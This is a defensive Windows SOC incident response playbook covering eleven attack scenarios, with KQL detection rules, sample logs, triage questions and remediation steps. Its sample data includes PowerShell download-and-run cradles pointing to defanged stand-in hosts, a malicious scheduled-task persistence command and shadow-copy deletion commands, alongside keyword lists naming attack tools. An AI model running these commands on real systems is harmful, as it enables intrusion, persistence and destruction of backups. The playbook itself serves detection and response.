WINDOWS

RELATED
SOC
INCIDENT
RESPONSE
PLAYBOOK
BY IZZMIER IZZUDDIN
USE CASE 1: SUSPICIOUS POWERSHELL EXECUTION ON WINDOWS HOST

Suspicious PowerShell Execution (Encoded Command / Obfuscated Execution)

Objective: Detect and respond to suspicious or potentially malicious PowerShell activity

on Windows endpoints, especially involving obfuscation, base64 encoding or indicators of
post-exploitation activity.

MITRE ATT&CK Mapping

• T1059.001 – Command and Scripting Interpreter: PowerShell

• T1027 – Obfuscated Files or Information
• T1055 – Process Injection (optional depending on behaviour)

Detection Logic (SIEM Use Case)

Trigger Rule: Search for PowerShell command-line invocations with suspicious flags, such
as:

DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-EncodedCommand", "-e ", "-nop", "-noni", "-w
hidden", "iex(", "Invoke-Expression", "FromBase64String", "System.Reflection.Assembly")
| project Timestamp, DeviceName, InitiatingProcessParentFileName, FileName,
ProcessCommandLine, InitiatingProcessAccountName

Data

Log Source: Microsoft Defender for Endpoint (or Windows Security Events 4688)

Timestam DeviceNam FileName ProcessCommandLine AccountName

p e
2025-07- WIN- powershell.e powershell.exe -nop -w [email protected]
28 CLIENT01 xe hidden - al
11:32:44 encodedCommand
SQBFAFgAIAAoAE4ARQBX
A... (truncated base64)

Initial Triage Questions

Ask these to guide your investigation:

• Is the PowerShell command obfuscated or base64-encoded?

• Is the execution context an unusual parent process (e.g., Word, Excel)?
 • Was this executed by a regular user, admin or SYSTEM account?
• Did the same user execute similar commands recently?
• Is the base64 payload decodable to something malicious (e.g., web download,
reverse shell)?

Decoding and Analysis (Analyst Step)

1. Extract base64 payload:

powershell.exe -EncodedCommand SQBFAFgAIAAoAE4ARQBXA...

2. Decode using PowerShell:

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("
SQBFAFgAIAAoAE4ARQBXA..."))

3. Resulting script:

IEX (New-Object
Net.WebClient).DownloadString('http://maliciousdomain[.]com/payload.ps1')

4. Confirm:
o Use of IEX (Invoke-Expression)
o Web download from unknown domain
o Fileless execution

Investigation and Containment Steps

Step Action
1 Isolate the host (if EDR solution allows it)
2 Query all PowerShell logs (4104, 4688) from this host and user
3 Check for network connections to the domain in the decoded command
4 Identify persistence mechanisms (startup folder, registry run keys)
5 Look for child processes (e.g., cmd.exe, mshta.exe, regsvr32.exe)
6 If malware dropped, submit to sandbox (e.g., Any.Run, Joe Sandbox)

Eradication and Recovery

• Remove malicious scripts / scheduled tasks / persistence

• Block related domains/IPs in firewall/proxy
• Reset the user password
• Reimage host if integrity is compromised
• Deploy updated EDR signatures
Recommendations and Hardening

• Capture full PowerShell script content, including dynamically generated or

obfuscated commands.
• Look for usage of -EncodedCommand, -nop, -w hidden and Invoke-Expression
across all endpoints.
• Alert on execution of PowerShell from non-standard parent processes like
winword.exe, excel.exe, outlook.exe, teams.exe. These are often abused for initial
execution in phishing-based attacks.
• Use AppLocker or WDAC (Windows Defender Application Control) to allow only
signed and approved scripts.
• Block execution from directories like:
o C:\Users\Public\
o %TEMP%
o %APPDATA%
o %ProgramData%
USE CASE 2: MALICIOUS SCHEDULED TASK CREATED ON WINDOWS HOST

Malicious Scheduled Task Creation (Persistence Mechanism)

Objective: Detect and respond to the creation of suspicious scheduled tasks, commonly
used by attackers for persistence, re-execution of payloads or lateral movement
automation.

MITRE ATT&CK Mapping

• T1053.005 – Scheduled Task / Job: Scheduled Task

• T1547 – Boot or Logon Autostart Execution

Detection Logic (SIEM Use Case)

Trigger Rule – Event ID 4698 (Scheduled Task Created)

Event
| where EventID == 4698
| where TaskName has_any ("Update", "GoogleUpdate", "OneDriveSync",
"MicrosoftUpdate", "AdobeUpdate")
| where CommandLine has_any ("powershell", "cmd.exe", "bitsadmin", "mshta", ".ps1",
".vbs")
| project TimeGenerated, Computer, Account, TaskName, CommandLine,
SubjectUserName

Alternatively (via Sysmon Event ID 1 + 13):

Sysmon
| where EventID == 1 and Image endswith "schtasks.exe"
| where CommandLine has "create"
| project TimeGenerated, Computer, User, CommandLine, ParentImage

Data

Log Source: Windows Security Logs / Sysmon

Timestam Comput TaskName CommandLine User

p er
2025-07- WIN- \Microsoft\Upda schtasks.exe /create /tn [email protected]
28 SERVER0 te "Update" /tr cal
14:55:21 1 "powershell.exe -
ExecutionPolicy Bypass
-File
 C:\Users\Public\back.p
s1" /sc minute /mo 5

Initial Triage Questions

• Was the scheduled task created by a legitimate user or attacker-controlled

account?
• What is the task frequency (/sc and /mo)?
• Does the task name try to impersonate a legitimate service (e.g., MicrosoftUpdate)?
• What script or binary does the task call?
• Are there other artifacts like script files in the path mentioned?

Analyst Steps for Investigation

1. Extract Task Info

o Use Event ID 4698 or Sysmon schtasks.exe invocation
o Confirm the path of the script or binary
2. Check Task Definition
o Run on affected host:

schtasks /query /tn "Update" /v /fo list

3. Review Task Action

o Look for commands like:

powershell.exe -windowstyle hidden -executionpolicy bypass -file

C:\Users\Public\back.ps1

4. Inspect Payload
o Analyse back.ps1 script content if accessible
o Sandbox the script or inspect statically (use VSCode or PowerShell ISE)

Containment and Response

Step Action
1 Disable or delete the malicious scheduled task
2 Isolate the host if post-execution infection is suspected
3 Delete malicious scripts or binaries the task refers to
4 Search across environment for similar task names or script hashes
5 Block execution of PowerShell scripts from untrusted paths

Eradication and Recovery

• Delete all related artifacts (scripts, registry persistence if used)

 • Remove the scheduled task:

schtasks /delete /tn "Update" /f

• Run full malware and memory scan

• Reset credentials if compromise suspected
• Rebuild machine if integrity violated

Recommendations and Hardening

• Monitor and alert on all new scheduled task creations (Event ID 4698)
• Enable PowerShell Script Block Logging
• Prevent execution from common drop zones like C:\Users\Public\
• Use EDR/AV solutions that detect malicious script-based persistence
• Educate administrators on scheduled task usage and naming standards
USE CASE 3: WMI PERSISTENCE EXECUTION ON WINDOWS HOST

Suspicious WMI Event Consumer (Persistence Mechanism via WMI)

Objective: Detect and respond to the creation and execution of WMI Event Consumers,
which are used by adversaries to maintain persistence on a compromised Windows host
without using traditional registry or startup folder methods.

MITRE ATT&CK Mapping

• T1546.003 – Event Triggered Execution: Windows Management Instrumentation

Event Subscription

Detection Logic (SIEM Use Case)

Sysmon + WMI Logs Correlation

• Sysmon Event ID 1 (Process Creation)

• WMI Event Log: Microsoft-Windows-WMI-Activity/Operational

Sysmon
| where EventID == 1
| where CommandLine has_any ("wmic", "Register-WmiEvent", "EventConsumer",
"EventFilter", "CommandLineEventConsumer")
| project TimeGenerated, Computer, User, CommandLine, Image

And:

Event
| where Source == "Microsoft-Windows-WMI-Activity/Operational"
| where EventID == 5857 or EventID == 5858
| project TimeGenerated, Computer, Operation, User, Namespace, Query, Consumer

Data

Timesta Computer User CommandLine Source

mp Process
2025- WIN- attacker@cor powershell.exe -Command powershel
07-28 WORKSTATI p.local "Register-WmiEvent -Query l.exe
16:12:0 ON02 'SELECT * FROM
5 __InstanceModificationEvent
WITHIN 60 WHERE
TargetInstance ISA
"Win32_PerfFormattedData_Perf
 OS_System"' -Action {
powershell.exe -ExecutionPolicy
Bypass -File
C:\Users\Public\persist.ps1 }"

And WMI Log:

Timestam Computer Operation Query / Consumer

p
2025-07- WIN- __EventConsumerCreat CommandLineEventConsum
28 WORKSTATION0 ed er, executes PowerShell to
16:12:08 2 C:\Users\Public\persist.ps1

Initial Triage Questions

• Who created the WMI Event Subscription? Was it SYSTEM or a user account?
• What is the Query that triggers the event? (e.g., CPU spike, user logon)
• What does the associated Action or Consumer run? Script, EXE, etc.?
• Does the consumer use PowerShell, mshta, regsvr32 or similar fileless techniques?
• Are there other subscriptions on the host?

Analyst Steps – Deep Dive

1. Identify the subscription

o Via powershell:

Get-WmiObject -Namespace root\subscription -Class __EventConsumer

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class
__FilterToConsumerBinding

2. Manually decode what it executes:

o persist.ps1 or any child process it spawns
o Check prefetch, ShimCache and SRUM for execution history
3. Cross-reference the time of WMI creation with login and PowerShell logs (4104,
4688)

Containment and Response

Step Action
1 Remove the WMI event subscription (both Filter and Consumer)
2 Delete the script or payload (e.g., persist.ps1)
3 Investigate how the script was initially delivered
4 Search environment for similar persistence mechanisms
 5 Isolate host if beaconing or execution occurs frequently

To delete:

Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer |

Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Remove-WmiObject

Eradication and Recovery

• Confirm all malicious WMI subscriptions removed

• Block future persistence with application control or script block policies
• Reboot the host and validate no reinfection
• Reset any compromised account credentials
• Consider full host rebuild if malware or implants present

Recommendations and Hardening

• Enable WMI event logging and monitor Event IDs 5857–5859

• Use Sysmon to monitor wmic.exe and suspicious PowerShell calls
• Deny non-admin users access to WMI subscription namespaces
• Leverage AppLocker or WDAC to prevent script abuse
• Include WMI persistence detection in your regular threat hunt procedures
USE CASE 4: CREDENTIAL DUMPING VIA LSASS ACCESS

Suspicious LSASS Access – Potential Credential Dumping (Mimikatz or Equivalent

Tool)

Objective: Detect and respond to credential dumping attempts where the attacker tries to
extract NTLM hashes or clear-text credentials from the LSASS process memory.

MITRE ATT&CK Mapping

• T1003.001 – OS Credential Dumping: LSASS Memory

• T1055 – Process Injection (for memory access techniques)
• T1021 – Remote Services (if RDP was used prior to dumping)

Detection Logic (SIEM Use Case)

Sysmon Rule: Access to LSASS Process

Sysmon Event ID 10 (Process Access)

Sysmon
| where EventID == 10
| where TargetImage endswith "lsass.exe"
| where GrantedAccess has_any ("0x1010", "0x1410", "0x1438", "0x1fffff") // high-
permission access
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccess, User

Alternate: Microsoft Defender for Endpoint (MDE)

Look for alert:

• "Possible credential access via LSASS memory"

• Or behavioural detections: HackTool:Win32/Mimikatz

Data

Timesta Compu SourceImage TargetIm GrantedAcc User

mp ter age ess
2025-07- DC01 C:\Users\Public\du lsass.exe 0x1410 attacker@corp.
28 mp.exe local
17:45:32

Initial Triage Questions

 • Was LSASS accessed by a known, legitimate binary or a suspicious one (e.g.,
procdump.exe, dump.exe, mimikatz.exe)?
• Was the process signed by Microsoft or another trusted vendor?
• Where did the binary originate from (user directory, temp, etc.)?
• Is the affected host a Domain Controller or critical server?
• Were any credentials successfully exfiltrated (check for beaconing or outbound
connections)?

Analyst Steps – Deep Analysis

1. Identify and Isolate Process

o Investigate the process that accessed LSASS
o Example: dump.exe located in C:\Users\Public\
2. Check Process Metadata
o Is the file signed?
o When was it created?
o Was it executed via PowerShell or another script?
3. Correlate with Defender Alerts
o Mimikatz, MiniDump or Procdump detections
o Antivirus logs (if AV blocked or quarantined)
4. Search for Exfiltration
o Check for tools like netcat, curl or Invoke-WebRequest
o Review logs for outbound TCP connections shortly after the dump

Containment and Response

Step Action
1 Isolate host from the network
2 Kill and quarantine the dumping process (if still active)
3 Remove malicious binaries (e.g., dump.exe, mimikatz.exe)
4 Search other hosts for similar binaries or process behaviours
5 Reset credentials of users recently logged in to the affected system

Eradication and Recovery

• Reboot to unload anything potentially injected into memory

• Apply LSASS protection (RunAsPPL) to prevent unauthorized access:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t

REG_DWORD /d 1 /f

• Use EDR to search for living-off-the-land binaries or obfuscated droppers

• Reimage host if full compromise is confirmed
Recommendations and Hardening

• Enable LSASS protection with RunAsPPL

• Restrict local administrator rights
• Monitor process memory access (Sysmon Event ID 10)
• Deploy EDR rules for credential dumping techniques
• Avoid storing passwords in memory (e.g., disable WDigest unless required)
USE CASE 5: RDP BRUTE FORCE ATTEMPT ON WINDOWS HOST

Excessive Failed RDP Login Attempts (Brute Force Attack Detection)

Objective: Detect and respond to brute-force attacks against Windows systems via
Remote Desktop Protocol (RDP), especially repeated failed logon attempts followed by
success.

MITRE ATT&CK Mapping

• T1110.001 – Brute Force: Password Guessing

• T1021.001 – Remote Services: RDP
• T1078 – Valid Accounts (if successful)

Detection Logic (SIEM Use Case)

Windows Security Events

• 4625 – Failed logon attempt

• 4624 – Successful logon
• Filter for Logon Type 10 (RemoteInteractive = RDP)

SecurityEvent
| where EventID == 4625 and LogonType == 10
| summarize FailedAttempts = count(), StartTime = min(TimeGenerated), EndTime =
max(TimeGenerated) by Account, IpAddress, Computer
| where FailedAttempts > 20

Then check for Event ID 4624 with the same account or IP address after that.

Data

Timesta Comput EventI LogonTy Account IpAddress Status

mp er D pe
2025-07- WIN- 4625 10 [email protected] 192.168.1. 0xC00000
28 RDP01 cal 88 6A (Bad
18:20:12 Password)
2025-07- WIN- 4625 10 [email protected] 192.168.1. 0xC00000
28 RDP01 cal 88 6A
18:20:15
... (20+ ... ... ... ... ... ...
attempts)
 2025-07- WIN- 4624 10 [email protected] 192.168.1. SUCCESS
28 RDP01 cal 88
18:21:10

Initial Triage Questions

• How many failed attempts occurred in a short time window (e.g., <5 minutes)?
• Was there a successful login after a burst of failures?
• Is the source IP internal or external (VPN, RDP Gateway)?
• Is the account supposed to log in via RDP to this host?
• Has this IP been seen before in the network?
• Was the account locked out (Event ID 4740)?

Analyst Steps – Deep Analysis

1. Query Raw Logs

o Filter logs by:

EventID == 4625 or 4624 and LogonType == 10

oCheck if brute-force pattern is seen (failed attempts + success)

2. Check Account Usage
o Is this a known admin/service account?
o Was the login time outside business hours?
3. Trace Source IP
o Is it coming from:
§ VPN?
§ Jump host?
§ External NAT?
4. Check Host Activity Post Logon
o Did the user download/upload files?
o Were there PowerShell, net.exe or whoami commands?

Containment and Response

Step Action
1 Lock the user account (temporarily)
2 Block the IP address at firewall or RDP Gateway
3 Notify the user / account owner
4 Review host activity after successful login
5 Monitor for lateral movement attempts from the same user

Eradication and Recovery

 • Reset credentials for the compromised account
• Reconfigure RDP access (whitelisting or MFA)
• Reimage the system if malware persistence is found
• Tune SIEM to catch future brute-force bursts
• Review firewall/NAC for improper access exposure

Recommendations and Hardening

• Implement RDP MFA or NLA (Network Level Authentication)

• Use RDP Gateway with auditing
• Enable account lockout after a threshold of failures
• Monitor Event IDs 4625, 4624, 4771, 4768
• Use Defender Attack Surface Reduction (ASR) rules to block credential theft
USE CASE 6: WINDOWS SERVICE BINARY PATH HIJACKING

Abuse of Windows Service for Persistence or Privilege Escalation via Binary Path
Hijacking

Objective: Detect and respond to attackers abusing misconfigured Windows services by

replacing or hijacking the service’s executable path to run malicious code with SYSTEM
privileges.

MITRE ATT&CK Mapping

• T1574.010 – Hijack Execution Flow: Services File Permissions Weakness

• T1543.003 – Create or Modify System Process: Windows Service

Detection Logic (SIEM Use Case)

Sysmon + Windows Security Events

Sysmon Event ID 1 + 7 (Process Creation + File Creation Time Change)

Sysmon
| where EventID == 1
| where ParentImage endswith "services.exe"
| where CommandLine has_any (".bat", ".ps1", "cmd.exe", "C:\Users\", "C:\Temp",
"C:\ProgramData")
| project TimeGenerated, Computer, User, Image, CommandLine, ParentImage

And:

Sysmon
| where EventID == 7
| where TargetFilename endswith ".exe"
| where TargetFilename has_any ("C:\Program Files\", "C:\Windows\System32\",
"C:\Windows\")
| where Image endswith "cmd.exe" or Image endswith "powershell.exe"
| project TimeGenerated, Image, TargetFilename, User

Look for:

• Service paths that point to user-writable locations.

• Modification of .exe used by a service.

Data
 Timesta Comput Image TargetFilename User
mp er
2025-07- WIN- powershell.e C:\Program [email protected]
28 SERVER0 xe Files\VulnerableApp\service cal
19:12:35 2 .exe
2025-07- WIN- services.exe C:\Program SYSTEM
28 SERVER0 Files\VulnerableApp\service
19:12:44 2 .exe -silent

Initial Triage Questions

• Was the binary executed by services.exe recently modified?

• Was the new binary dropped by a suspicious process (e.g., PowerShell)?
• Is the file signed or does its hash match known malware?
• Is the service supposed to exist and run that executable?
• Are there other hosts with the same service configuration?

Analyst Steps

1. List Services on the Host

o Use sc qc or PowerShell to examine service config:

Get-WmiObject win32_service | Select Name, DisplayName, PathName,

StartMode

2. Inspect the Modified Binary

o Check its digital signature
o Hash it and check VirusTotal or sandbox
3. Trace the Dropper
o Which process dropped the malicious .exe (Sysmon Event ID 11 or 7)?
o Was it powershell.exe, cmd.exe or a scheduled task?
4. Check Service Execution Logs
o Review Event ID 7036 (Service started) for suspicious execution time
o Correlate with process tree: services.exe > malware.exe

Containment and Response

Step Action
1 Stop the malicious service immediately:
`sc stop <ServiceName>`
2 Disable the service:
sc config <ServiceName> start= disabled
3 Delete the replaced binary
4 Re-deploy clean version of the application if needed
5 Isolate the host for deeper forensic analysis

Eradication and Recovery

• Restore the legitimate .exe or uninstall the vulnerable app

• Reset permissions on the service folder to prevent future abuse
• Rebuild system if integrity compromise is too deep
• Search other endpoints for similar hijacked services using EDR or scripts

Recommendations and Hardening

• Run periodic audits for services with weak file permissions:

Get-WmiObject win32_service | Where-Object {$_.PathName -like "*Users*"}

• Set correct ACLs on service binaries and folders

• Deploy EDR rules to alert on unsigned .exe executed by services.exe
• Monitor Sysmon Event ID 7 + 1 around service binary folders
• Avoid installing services with paths under C:\Users\, C:\Temp or Downloads
USE CASE 7: FILELESS MALWARE EXECUTION VIA WMI AND POWERSHELL

Fileless Malware Detected – WMI and PowerShell Execution Chain

Objective: Detect and respond to fileless malware that leverages WMI (Windows
Management Instrumentation) to execute malicious PowerShell scripts directly in memory
without writing files to disk.

MITRE ATT&CK Mapping

• T1047 – Windows Management Instrumentation

• T1059.001 – PowerShell
• T1055 – Process Injection
• T1027 – Obfuscated Files or Information

Detection Logic (SIEM Use Case)

Sysmon + PowerShell Logs + WMI-Activity

1. Sysmon Event ID 1 – Process Creation:

Sysmon
| where EventID == 1
| where ParentImage endswith "wmiprvse.exe"
| where CommandLine has_any ("-nop", "-w hidden", "-EncodedCommand", "IEX", "Invoke-
Expression", "FromBase64String")
| project TimeGenerated, Computer, User, Image, CommandLine, ParentImage

2. Microsoft-Windows-WMI-Activity/Operational (Event ID 5861):

Indicates a remote WMI method execution

Event
| where Source == "Microsoft-Windows-WMI-Activity/Operational"
| where EventID == 5861
| project TimeGenerated, Computer, User, Operation, ClientMachine, Namespace

Data

Timest Comp Image CommandLine ParentIm User

amp uter age
2025- WIN- powershel powershell -nop -w hidden wmiprvse attacker@cor
07-28 PC-001 l.exe -encodedCommand .exe p.local
19:45:0 aQBlAHgAIAAoAG4AZQB3
1 AC0AbwB... (truncated)
And WMI Log:

Timestamp Computer EventID Operation ClientMachine Namespace

2025-07-28 WIN-PC- 5861 ExecuteMethod 192.168.1.77 root\cimv2
19:44:59 001

Initial Triage Questions

• Was PowerShell executed by wmiprvse.exe (a WMI process)?

• Was the PowerShell command encoded, obfuscated or downloaded from a remote
domain?
• Was the WMI execution initiated locally or remotely?
• Does the payload attempt to persist, download a second-stage malware or
establish C2?
• Are there any memory-only artifacts or suspicious network activity?

Analyst Steps – Deep Dive

1. Decode PowerShell Payload:

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("
aQBlAHgAIAAoAG4AZQB3AC0..."))

2. Check WMI Logs

o Confirm if the ClientMachine is a known administrative host
o Look for repeated 5861 or 5857 events
3. Trace Memory Activity
o Use EDR to detect:
§ In-memory .NET assemblies
§ Reflective PE loading
§ System.Reflection.Assembly.Load
4. Scan for Beaconing
o Look for outbound traffic to unknown IPs/domains
o Use logs from proxy/firewall or DNS logs

Containment and Response

Step Action
1 Isolate the host executing fileless malware
2 Stop WMI process if active and malicious: wmiprvse.exe
3 Revoke access to account that initiated WMI remotely
4 Check memory (RAM dump) for script remnants or C2 strings
5 Block destination IPs/domains associated with payload or C2
Eradication and Recovery

• Disable unnecessary WMI remote access (if not needed)

• Apply PowerShell Constrained Language Mode
• Enable Script Block Logging + Module Logging
• Clear malicious WMI subscriptions (if used for persistence)
• Reimage if volatile memory-only malware can't be reliably removed

Recommendations and Hardening

• Disable WMI remote execution where not needed

• Use PowerShell Constrained Language Mode + ASR Rules
• Monitor for PowerShell execution via wmiprvse.exe
• Enable:
o Event ID 4104 (PowerShell Script Block Logging)
o Event ID 5861 (WMI execution)
o Sysmon Event ID 1 + 10 (for WMI-parented processes)
• Deploy memory analysis capability (e.g., Velociraptor or EDR snapshots)
USE CASE 8: VOLUME SHADOW COPY DELETION (RANSOMWARE PREPARATION
STAGE)

Suspicious Volume Shadow Copy Deletion (Possible Ransomware Pre-Encryption

Activity)

Objective: Detect and respond to deletion of Windows Volume Shadow Copies — a

common tactic used by ransomware actors to prevent system rollback and backup
restoration.

MITRE ATT&CK Mapping

• T1490 – Inhibit System Recovery

• T1486 – Data Encrypted for Impact (when paired with encryption tools)

Detection Logic (SIEM Use Case)

Sysmon Event ID 1 (Process Creation)

Look for execution of tools like vssadmin.exe, wmic.exe or PowerShell commands that
delete shadow copies.

Sysmon
| where EventID == 1
| where (CommandLine has_all ("vssadmin", "delete", "shadows")
or CommandLine has "wmic shadowcopy delete"
or CommandLine has_all ("powershell", "Get-WmiObject", "Win32_ShadowCopy",
"Delete()"))
| project TimeGenerated, Computer, User, Image, CommandLine

Data

Timestamp Computer Image CommandLine User

2025-07-28 WIN-WS- vssadmin.exe vssadmin delete [email protected]
20:15:47 FILE01 shadows /all /quiet
2025-07-28 WIN-WS- wmic.exe wmic shadowcopy [email protected]
20:15:51 FILE01 delete

Initial Triage Questions

• Was the command run by a legitimate user or suspicious account?

• What process or script initiated the deletion? Was it signed?
• Was this host previously showing signs of compromise?
• Are other hosts exhibiting the same behaviour?
 • Is this part of a batch or PowerShell script (e.g., runme.bat)?

Analyst Steps

1. Process Tree Review

o Was vssadmin.exe or wmic.exe launched by cmd.exe, powershell.exe or an
unknown binary?
2. Correlate with Timeline
o Are there signs of prior:
§ Recon (whoami, ipconfig)
§ Credential theft (LSASS access)
§ File encryption or ransomware drop?
3. Check File System
o Look for ransomware artifacts (e.g., README.txt, .encrypted files or renamed
extensions)
o Validate if encryption is already in progress
4. Search for Scripts
o Look in C:\Users\Public\, C:\Temp\, %APPDATA% for .bat, .ps1 or .exe
recently modified

Containment and Response

Step Action
1 Isolate the host immediately
2 Check and stop any active encryption processes
3 Block any associated hashes or file indicators across EDR/AV
4 Review mapped drives or shares for spread
5 Begin collecting forensic images (disk and memory)

Eradication and Recovery

• Reimage the host if encryption has begun

• Restore from offline or cloud backup
• Rotate credentials of users active on the machine
• Conduct full sweep for similar shadow deletion on other hosts
• Improve backup frequency and protection (e.g., offsite, immutable)

Recommendations and Hardening

• Block user access to tools like vssadmin.exe and wmic.exe via AppLocker or WDAC
• Regularly backup systems to offline/cloud with versioning
• Protect backup servers with segmentation and access controls
• Enable Sysmon and monitor for known shadow copy deletion patterns
• Monitor for .bat or .ps1 scripts executing deletion commands
USE CASE 9: DLL SIDELOADING ATTACK DETECTED ON WINDOWS HOST

Suspicious DLL Sideloading – Legitimate Binary Loading Malicious DLL

Objective: Detect and respond to DLL sideloading, where a legitimate signed application
loads a malicious DLL placed by an attacker in the same directory to execute code with
elevated privileges or evade detection.

MITRE ATT&CK Mapping

• T1574.002 – Hijack Execution Flow: DLL Side-Loading

• T1055 – Process Injection (if used for memory execution)
• T1036 – Masquerading

Detection Logic (SIEM Use Case)

Sysmon Event IDs:

• Event ID 7 – Image Load (DLL loading)

• Event ID 1 – Process Creation

Sysmon
| where EventID == 7
| where ImageLoaded endswith ".dll"
| where ImageLoaded has "Temp" or ImageLoaded has "Users\\Public"
| where NOT(OriginalFileName endswith ".dll" and Image like "%Windows%")
| project TimeGenerated, Computer, User, Image, ImageLoaded

Combine with:

Sysmon
| where EventID == 1
| where Image endswith ".exe"
| where Image has_any ("Adobe", "Teams", "Word", "AcroRd32.exe", "OneDrive") // known
signed apps
| where ParentImage endswith "explorer.exe" or is null

Data

Timestam Compute Image ImageLoaded User

p r
2025-07-28 WIN- AcroRd32.ex C:\Users\Public\msimg32.d [email protected]
20:50:27 LAPTOP0 e ll l
1
msimg32.dll was not part of the official Adobe Reader package and was loaded from a non-
standard path.

Initial Triage Questions

• Is the .dll file located outside normal paths (e.g., not in System32 or Program Files)?
• Was the host process a signed binary (LOLBin)?
• Does the DLL show signs of obfuscation, injection or C2 behavior?
• Was the sideloaded DLL dropped recently or modified?
• What spawned the signed binary (scheduled task, user, script)?

Analyst Steps

1. Validate the Binary-DLL Pair

o Use VirusTotal to check both the .exe and the .dll
o If .dll is unsigned and unknown, high suspicion
2. Inspect the DLL Content
o Use static analysis tools (e.g., PEStudio, Detect-It-Easy)
o Look for imports like WinExec, CreateRemoteThread, InternetOpenUrlA
3. Trace File Creation and Timeline
o Use Sysmon Event ID 11 to find who created the .dll
o Use file timestamps to check initial drop time
4. Look for C2 Activity
o Check if the sideloaded DLL leads to process injection or outbound traffic
o Review DNS logs, EDR beacons or proxy logs

Containment and Response

Step Action
1 Terminate the process (e.g., AcroRd32.exe) using the malicious DLL
2 Delete the sideloaded DLL and all malicious dropper files
3 Quarantine both DLL and the abusing binary if not core to operations
4 Block execution paths via AppLocker or EDR policy
5 Isolate the host for memory analysis if signs of injection exist

Eradication and Recovery

• Remove persistence mechanisms used to launch the DLL (if any)

• Re-deploy legitimate version of the software if tampered
• Patch software with known DLL sideloading vulnerabilities
• Perform full host scan for similar TTPs (e.g., image load anomalies)
• Review file system permissions to prevent non-admin drops in Program Files

Recommendations and Hardening

• Block unsigned DLLs from loading in known abused directories via AppLocker or
WDAC
• Monitor for DLL loads from non-standard paths
• Enforce digital signature verification of DLLs in critical applications
• Regularly scan systems for unsigned modules loaded into signed processes
• Deploy script to check for unsigned .dll in the same folder as signed .exe
USE CASE 10: PERSISTENCE VIA WINDOWS STARTUP FOLDER ABUSE

Malicious File Dropped in Startup Folder – User-Level Persistence Mechanism

Objective: Detect and respond to attacker persistence through the Windows Startup
folder, allowing malware or scripts to execute automatically upon user logon.

MITRE ATT&CK Mapping

• T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• T1059 – Command and Scripting Interpreter
• T1053 – Scheduled Task (if used in combination)

Detection Logic (SIEM Use Case)

Sysmon Event ID 11 – File Creation

Watch for .exe, .ps1, .vbs or .lnk files written to the Startup folders:

Sysmon
| where EventID == 11
| where TargetFilename has @"\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup"
| where TargetFilename endswith ".exe" or TargetFilename endswith ".lnk" or
TargetFilename endswith ".bat" or TargetFilename endswith ".ps1"
| project TimeGenerated, Computer, User, Image, TargetFilename

Data

Timest Comput User Image TargetFilename

amp er
2025- WIN- user@corp powershe C:\Users\user\AppData\Roaming\Micro
07-28 ENDPOI .local ll.exe soft\Windows\Start
21:15:4 NT07 Menu\Programs\Startup\update.vbs
3

Initial Triage Questions

• What is the filename and extension of the dropped file?

• What process or script created the file?
• Was the file signed, packed or obfuscated?
• Is this Startup path within the user or All Users folder?
• Is the user who owns the profile legitimate?
Analyst Steps

1. Review File Metadata

o Check file hash on VirusTotal
o Static analysis: is it obfuscated, base64 encoded, etc.?
2. Trace the File Creator
o Look at Sysmon Event ID 1 to identify parent process that created the
persistence:
§ E.g., PowerShell, Word or browser process
3. Check Scheduled Tasks
o Confirm it’s not paired with a scheduled task that also invokes the dropped
file
4. Logon Events Correlation
o Does the file run during each user logon (check 4624 + process execution)

Containment and Response

Step Action
1 Delete the malicious file from Startup folder
2 Disable execution if using .lnk or script
3 Quarantine associated processes or parent droppers
4 Scan user profile for additional persistence or payloads
5 Monitor logon activity for re-triggering indicators

Eradication and Recovery

• Clear user startup folders:

Remove-Item "$env:APPDATA\Microsoft\Windows\Start
Menu\Programs\Startup\*.ps1"

• Validate file integrity of known safe startup programs

• Revoke tokens / reauthenticate the user
• Reimage if file returns or user account shows abuse
• Hunt across all users’ startup folders

Recommendations and Hardening

• Block script execution from user-level Startup folders using AppLocker or WDAC
• Monitor creation of .ps1, .vbs, .lnk and .bat in:
o %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
o C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
• Educate users to avoid opening untrusted files with macros or embedded scripts
• Deploy EDR policy to alert or block unauthorized files dropped in startup paths
• Regular audit of startup folders across domain systems
USE CASE 11: MALICIOUS MICROSOFT OFFICE MACRO EXECUTION (DROPPER
SCENARIO)

Suspicious Office Document with Malicious Macro Execution

Objective: Detect and respond to malicious Office documents (Word, Excel, PowerPoint)
containing macros that download or execute malware — typically used as droppers during
phishing or initial access stages.

MITRE ATT&CK Mapping

• T1203 – Exploitation for Client Execution

• T1566.001 – Phishing: Spearphishing Attachment
• T1059.005 – Command and Scripting Interpreter: Visual Basic
• T1105 – Ingress Tool Transfer

Detection Logic (SIEM Use Case)

Sysmon Event ID 1 + PowerShell Logs (4104) + Office Telemetry (if available)

Macro launching suspicious script:

Sysmon
| where EventID == 1
| where ParentImage endswith ".docx" or ParentImage endswith "winword.exe" or
ParentImage endswith "excel.exe"
| where CommandLine has_any ("powershell", "cmd.exe", "mshta", "regsvr32",
"bitsadmin", "curl", "wget")
| project TimeGenerated, Computer, User, ParentImage, Image, CommandLine

PowerShell Script Block Logging (Event ID 4104):

Event
| where EventID == 4104
| where ScriptBlockText has_any ("IEX", "Invoke-WebRequest", "DownloadString",
"FromBase64String")
| project TimeGenerated, Computer, User, ScriptBlockText

Data

Times Comp ParentI Image CommandLine User

tamp uter mage
 2025- WIN- winwor powersh powershell -w hidden -nop -c "IEX user@cor
07-28 LAPT d.exe ell.exe (New-Object p.local
21:36: OP03 Net.WebClient).DownloadString('htt
02 p://mal[.]site/drop.ps1')"

PowerShell Log (4104):

IEX (New-Object Net.WebClient).DownloadString('http://mal[.]site/drop.ps1')

Initial Triage Questions

• Did a Microsoft Office app (e.g., winword.exe) spawn powershell.exe, cmd.exe or

mshta.exe?
